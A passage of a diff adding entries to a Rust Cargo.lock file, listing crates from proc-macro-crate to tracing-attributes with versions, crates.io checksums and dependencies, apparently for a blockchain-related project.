+name = "proc-macro-crate"
+version = "3.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284"
+dependencies = [
+ "toml_edit",
+]
+
+[[package]]
+name = "proc-macro-error-attr2"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+]
+
+[[package]]
+name = "proc-macro-error2"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
+dependencies = [
+ "proc-macro-error-attr2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.95"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "proptest"
+version = "1.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "14cae93065090804185d3b75f0bf93b8eeda30c7a9b4a33d3bdb3988d6229e50"
+dependencies = [
+ "bit-set",
+ "bit-vec",
+ "bitflags",
+ "lazy_static",
+ "num-traits",
+ "rand 0.8.5",
+ "rand_chacha 0.3.1",
+ "rand_xorshift",
+ "regex-syntax",
+ "rusty-fork",
+ "tempfile",
+ "unarray",
+]
+
+[[package]]
+name = "quick-error"
+version = "1.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0"
+
+[[package]]
+name = "quote"
+version = "1.0.36"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "r-efi"
+version = "5.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74765f6d916ee2faa39bc8e68e4f3ed8949b48cccdac59983d287a7cb71ce9c5"
+
+[[package]]
+name = "radium"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09"
+
+[[package]]
+name = "rand"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+dependencies = [
+ "libc",
+ "rand_chacha 0.3.1",
+ "rand_core 0.6.4",
+ "serde",
+]
+
+[[package]]
+name = "rand"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9fbfd9d094a40bf3ae768db9361049ace4c0e04a4fd6b359518bd7b73a73dd97"
+dependencies = [
+ "rand_chacha 0.9.0",
+ "rand_core 0.9.3",
+ "serde",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core 0.6.4",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb"
+dependencies = [
+ "ppv-lite86",
+ "rand_core 0.9.3",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.15",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.9.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38"
+dependencies = [
+ "getrandom 0.3.2",
+ "serde",
+]
+
+[[package]]
+name = "rand_xorshift"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d25bf25ec5ae4a3f1b92f929810509a2f53d7dca2f50b794ff57e3face536c8f"
+dependencies = [
+ "rand_core 0.6.4",
+]
+
+[[package]]
+name = "recvmsg"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3edd4d5d42c92f0a659926464d4cce56b562761267ecf0f469d85b7de384175"
+
+[[package]]
+name = "redox_syscall"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "469052894dcb553421e483e4209ee581a45100d31b4018de03e5a7ad86374a7e"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "regex"
+version = "1.10.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-automata",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-automata"
+version = "0.4.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-syntax"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
+
+[[package]]
+name = "reqwest"
+version = "0.12.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7d6d2a27d57148378eb5e111173f4276ad26340ecc5c49a4a2152167a2d6a37"
+dependencies = [
+ "base64",
+ "bytes",
+ "futures-core",
+ "futures-util",
+ "http",
+ "http-body",
+ "http-body-util",
+ "hyper",
+ "hyper-tls",
+ "hyper-util",
+ "ipnet",
+ "js-sys",
+ "log",
+ "mime",
+ "native-tls",
+ "once_cell",
+ "percent-encoding",
+ "pin-project-lite",
+ "rustls-pemfile",
+ "serde",
+ "serde_json",
+ "serde_urlencoded",
+ "sync_wrapper",
+ "tokio",
+ "tokio-native-tls",
+ "tower-service",
+ "url",
+ "wasm-bindgen",
+ "wasm-bindgen-futures",
+ "web-sys",
+ "winreg",
+]
+
+[[package]]
+name = "rfc6979"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
+dependencies = [
+ "hmac",
+ "subtle",
+]
+
+[[package]]
+name = "ring"
+version = "0.17.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70ac5d832aa16abd7d1def883a8545280c20a60f523a370aa3a9617c2b8550ee"
+dependencies = [
+ "cc",
+ "cfg-if",
+ "getrandom 0.2.15",
+ "libc",
+ "untrusted",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "rlp"
+version = "0.5.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bb919243f34364b6bd2fc10ef797edbfa75f33c252e7998527479c6d6b47e1ec"
+dependencies = [
+ "bytes",
+ "rustc-hex",
+]
+
+[[package]]
+name = "ruint"
+version = "1.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "78a46eb779843b2c4f21fac5773e25d6d5b7c8f0922876c91541790d2ca27eef"
+dependencies = [
+ "alloy-rlp",
+ "ark-ff 0.3.0",
+ "ark-ff 0.4.2",
+ "bytes",
+ "fastrlp 0.3.1",
+ "fastrlp 0.4.0",
+ "num-bigint",
+ "num-integer",
+ "num-traits",
+ "parity-scale-codec",
+ "primitive-types",
+ "proptest",
+ "rand 0.8.5",
+ "rand 0.9.1",
+ "rlp",
+ "ruint-macro",
+ "serde",
+ "valuable",
+ "zeroize",
+]
+
+[[package]]
+name = "ruint-macro"
+version = "1.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48fd7bd8a6377e15ad9d42a8ec25371b94ddc67abe7c8b9127bec79bebaaae18"
+
+[[package]]
+name = "rustc-demangle"
+version = "0.1.24"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
+
+[[package]]
+name = "rustc-hash"
+version = "2.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
+
+[[package]]
+name = "rustc-hex"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3e75f6a532d0fd9f7f13144f392b6ad56a32696bfcd9c78f797f16bbb6f072d6"
+
+[[package]]
+name = "rustc_version"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f0dfe2087c51c460008730de8b57e6a320782fbfb312e1f4d520e6c6fae155ee"
+dependencies = [
+ "semver 0.11.0",
+]
+
+[[package]]
+name = "rustc_version"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
+dependencies = [
+ "semver 1.0.23",
+]
+
+[[package]]
+name = "rustix"
+version = "0.38.34"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f"
+dependencies = [
+ "bitflags",
+ "errno",
+ "libc",
+ "linux-raw-sys",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "rustls"
+version = "0.23.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05cff451f60db80f490f3c182b77c35260baace73209e9cdbbe526bfe3a4d402"
+dependencies = [
+ "once_cell",
+ "ring",
+ "rustls-pki-types",
+ "rustls-webpki",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "rustls-pemfile"
+version = "2.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "29993a25686778eb88d4189742cd713c9bce943bc54251a33509dc63cbacf73d"
+dependencies = [
+ "base64",
+ "rustls-pki-types",
+]
+
+[[package]]
+name = "rustls-pki-types"
+version = "1.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "976295e77ce332211c0d24d92c0e83e50f5c5f046d11082cea19f3df13a3562d"
+
+[[package]]
+name = "rustls-webpki"
+version = "0.102.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ff448f7e92e913c4b7d4c6d8e4540a1724b319b4152b8aef6d4cf8339712b33e"
+dependencies = [
+ "ring",
+ "rustls-pki-types",
+ "untrusted",
+]
+
+[[package]]
+name = "rustversion"
+version = "1.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "955d28af4278de8121b7ebeb796b6a45735dc01436d898801014aced2773a3d6"
+
+[[package]]
+name = "rusty-fork"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cb3dcc6e454c328bb824492db107ab7c0ae8fcffe4ad210136ef014458c1bc4f"
+dependencies = [
+ "fnv",
+ "quick-error",
+ "tempfile",
+ "wait-timeout",
+]
+
+[[package]]
+name = "ryu"
+version = "1.0.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
+
+[[package]]
+name = "schannel"
+version = "0.1.23"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534"
+dependencies = [
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "scopeguard"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+
+[[package]]
+name = "sec1"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc"
+dependencies = [
+ "base16ct",
+ "der",
+ "generic-array",
+ "pkcs8",
+ "serdect",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "security-framework"
+version = "2.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c627723fd09706bacdb5cf41499e95098555af3c3c29d014dc3c458ef6be11c0"
+dependencies = [
+ "bitflags",
+ "core-foundation",
+ "core-foundation-sys",
+ "libc",
+ "security-framework-sys",
+]
+
+[[package]]
+name = "security-framework-sys"
+version = "2.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "317936bbbd05227752583946b9e66d7ce3b489f84e11a94a510b4437fef407d7"
+dependencies = [
+ "core-foundation-sys",
+ "libc",
+]
+
+[[package]]
+name = "semver"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f301af10236f6df4160f7c3f04eec6dbc70ace82d23326abad5edee88801c6b6"
+dependencies = [
+ "semver-parser",
+]
+
+[[package]]
+name = "semver"
+version = "1.0.23"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b"
+
+[[package]]
+name = "semver-parser"
+version = "0.10.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "00b0bef5b7f9e0df16536d3961cfb6e84331c065b4066afb39768d0e319411f7"
+dependencies = [
+ "pest",
+]
+
+[[package]]
+name = "send_wrapper"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd0b0ec5f1c1ca621c432a25813d8d60c88abe6d3e08a3eb9cf37d97a0fe3d73"
+
+[[package]]
+name = "serde"
+version = "1.0.203"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7253ab4de971e72fb7be983802300c30b5a7f0c2e56fab8abfc6a214307c0094"
+dependencies = [
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_derive"
+version = "1.0.203"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "500cbc0ebeb6f46627f50f3f5811ccf6bf00643be300b4c3eabc0ef55dc5b5ba"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "serde_json"
+version = "1.0.117"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "455182ea6142b14f93f4bc5320a2b31c1f266b66a4a5c858b013302a5d8cbfc3"
+dependencies = [
+ "itoa",
+ "ryu",
+ "serde",
+]
+
+[[package]]
+name = "serde_urlencoded"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
+dependencies = [
+ "form_urlencoded",
+ "itoa",
+ "ryu",
+ "serde",
+]
+
+[[package]]
+name = "serde_with"
+version = "3.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d6b6f7f2fcb69f747921f79f3926bd1e203fce4fef62c268dd3abfb6d86029aa"
+dependencies = [
+ "base64",
+ "chrono",
+ "hex",
+ "indexmap 1.9.3",
+ "indexmap 2.9.0",
+ "serde",
+ "serde_derive",
+ "serde_json",
+ "serde_with_macros",
+ "time",
+]
+
+[[package]]
+name = "serde_with_macros"
+version = "3.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8d00caa5193a3c8362ac2b73be6b9e768aa5a4b2f721d8f4b339600c3cb51f8e"
+dependencies = [
+ "darling",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "serdect"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a84f14a19e9a014bb9f4512488d9829a68e04ecabffb0f9904cd1ace94598177"
+dependencies = [
+ "base16ct",
+ "serde",
+]
+
+[[package]]
+name = "sha1"
+version = "0.10.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "digest 0.10.7",
+]
+
+[[package]]
+name = "sha2"
+version = "0.10.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "digest 0.10.7",
+]
+
+[[package]]
+name = "sha3"
+version = "0.10.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "75872d278a8f37ef87fa0ddbda7802605cb18344497949862c0d4dcb291eba60"
+dependencies = [
+ "digest 0.10.7",
+ "keccak",
+]
+
+[[package]]
+name = "sha3-asm"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a9b57fd861253bff08bb1919e995f90ba8f4889de2726091c8876f3a4e823b40"
+dependencies = [
+ "cc",
+ "cfg-if",
+]
+
+[[package]]
+name = "shlex"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "signal-hook-registry"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "signature"
+version = "2.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
+dependencies = [
+ "digest 0.10.7",
+ "rand_core 0.6.4",
+]
+
+[[package]]
+name = "slab"
+version = "0.4.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "smallvec"
+version = "1.13.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "socket2"
+version = "0.5.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c"
+dependencies = [
+ "libc",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "spki"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
+dependencies = [
+ "base64ct",
+ "der",
+]
+
+[[package]]
+name = "stable_deref_trait"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
+
+[[package]]
+name = "static_assertions"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
+
+[[package]]
+name = "strsim"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
+
+[[package]]
+name = "strum"
+version = "0.27.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f64def088c51c9510a8579e3c5d67c65349dcf755e5479ad3d010aa6454e2c32"
+dependencies = [
+ "strum_macros",
+]
+
+[[package]]
+name = "strum_macros"
+version = "0.27.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c77a8c5abcaf0f9ce05d62342b7d298c346515365c36b673df4ebe3ced01fde8"
+dependencies = [
+ "heck",
+ "proc-macro2",
+ "quote",
+ "rustversion",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "subtle"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc"
+
+[[package]]
+name = "syn"
+version = "1.0.109"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.101"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "syn-solidity"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34c9c96de1f835488c1501092847b522be88c9ac6fb0d4c0fbea92992324c8f4"
+dependencies = [
+ "paste",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "sync_wrapper"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a7065abeca94b6a8a577f9bd45aa0867a2238b74e8eb67cf10d492bc39351394"
+
+[[package]]
+name = "synstructure"
+version = "0.13.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "tap"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369"
+
+[[package]]
+name = "tempfile"
+version = "3.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85b77fafb263dd9d05cbeac119526425676db3784113aa9295c88498cbf8bff1"
+dependencies = [
+ "cfg-if",
+ "fastrand",
+ "rustix",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "thiserror"
+version = "1.0.61"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c546c80d6be4bc6a00c0f01730c08df82eaa7a7a61f11d656526506112cc1709"
+dependencies = [
+ "thiserror-impl 1.0.61",
+]
+
+[[package]]
+name = "thiserror"
+version = "2.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708"
+dependencies = [
+ "thiserror-impl 2.0.12",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "1.0.61"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "46c3384250002a6d5af4d114f2845d37b57521033f30d5c3f46c4d70e1197533"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "2.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "threadpool"
+version = "1.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d050e60b33d41c19108b32cea32164033a9013fe3b46cbd4457559bfbf77afaa"
+dependencies = [
+ "num_cpus",
+]
+
+[[package]]
+name = "time"
+version = "0.3.36"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885"
+dependencies = [
+ "deranged",
+ "itoa",
+ "num-conv",
+ "powerfmt",
+ "serde",
+ "time-core",
+ "time-macros",
+]
+
+[[package]]
+name = "time-core"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
+
+[[package]]
+name = "time-macros"
+version = "0.2.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf"
+dependencies = [
+ "num-conv",
+ "time-core",
+]
+
+[[package]]
+name = "tiny-keccak"
+version = "2.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237"
+dependencies = [
+ "crunchy",
+]
+
+[[package]]
+name = "tinystr"
+version = "0.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f"
+dependencies = [
+ "displaydoc",
+ "zerovec",
+]
+
+[[package]]
+name = "tokio"
+version = "1.38.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "68722da18b0fc4a05fdc1120b302b82051265792a1e1b399086e9b204b10ad3d"
+dependencies = [
+ "backtrace",
+ "bytes",
+ "libc",
+ "mio",
+ "num_cpus",
+ "parking_lot",
+ "pin-project-lite",
+ "signal-hook-registry",
+ "socket2",
+ "tokio-macros",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "tokio-macros"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f5ae998a069d4b5aba8ee9dad856af7d520c3699e6159b185c2acd48155d39a"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "tokio-native-tls"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2"
+dependencies = [
+ "native-tls",
+ "tokio",
+]
+
+[[package]]
+name = "tokio-rustls"
+version = "0.26.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c7bc40d0e5a97695bb96e27995cd3a08538541b0a846f65bba7a359f36700d4"
+dependencies = [
+ "rustls",
+ "rustls-pki-types",
+ "tokio",
+]
+
+[[package]]
+name = "tokio-stream"
+version = "0.1.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "267ac89e0bec6e691e5813911606935d77c476ff49024f98abcea3e7b15e37af"
+dependencies = [
+ "futures-core",
+ "pin-project-lite",
+ "tokio",
+ "tokio-util",
+]
+
+[[package]]
+name = "tokio-tungstenite"
+version = "0.26.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a9daff607c6d2bf6c16fd681ccb7eecc83e4e2cdc1ca067ffaadfca5de7f084"
+dependencies = [
+ "futures-util",
+ "log",
+ "rustls",
+ "rustls-pki-types",
+ "tokio",
+ "tokio-rustls",
+ "tungstenite",
+ "webpki-roots",
+]
+
+[[package]]
+name = "tokio-util"
+version = "0.7.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9cf6b47b3771c49ac75ad09a6162f53ad4b8088b76ac60e8ec1455b31a189fe1"
+dependencies = [
+ "bytes",
+ "futures-core",
+ "futures-sink",
+ "pin-project-lite",
+ "tokio",
+]
+
+[[package]]
+name = "toml_datetime"
+version = "0.6.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4badfd56924ae69bcc9039335b2e017639ce3f9b001c393c1b2d1ef846ce2cbf"
+
+[[package]]
+name = "toml_edit"
+version = "0.21.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1"
+dependencies = [
+ "indexmap 2.9.0",
+ "toml_datetime",
+ "winnow 0.5.40",
+]
+
+[[package]]
+name = "tower"
+version = "0.4.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c"
+dependencies = [
+ "futures-core",
+ "futures-util",
+ "pin-project",
+ "pin-project-lite",
+ "tokio",
+ "tower-layer",
+ "tower-service",
+]
+
+[[package]]
+name = "tower"
+version = "0.5.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9"
+dependencies = [
+ "futures-core",
+ "futures-util",
+ "pin-project-lite",
+ "sync_wrapper",
+ "tower-layer",
+ "tower-service",
+]
+
+[[package]]
+name = "tower-layer"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
+
+[[package]]
+name = "tower-service"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
+
+[[package]]
+name = "tracing"
+version = "0.1.40"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
+dependencies = [
+ "pin-project-lite",
+ "tracing-attributes",
+ "tracing-core",
+]
+
+[[package]]
+name = "tracing-attributes"
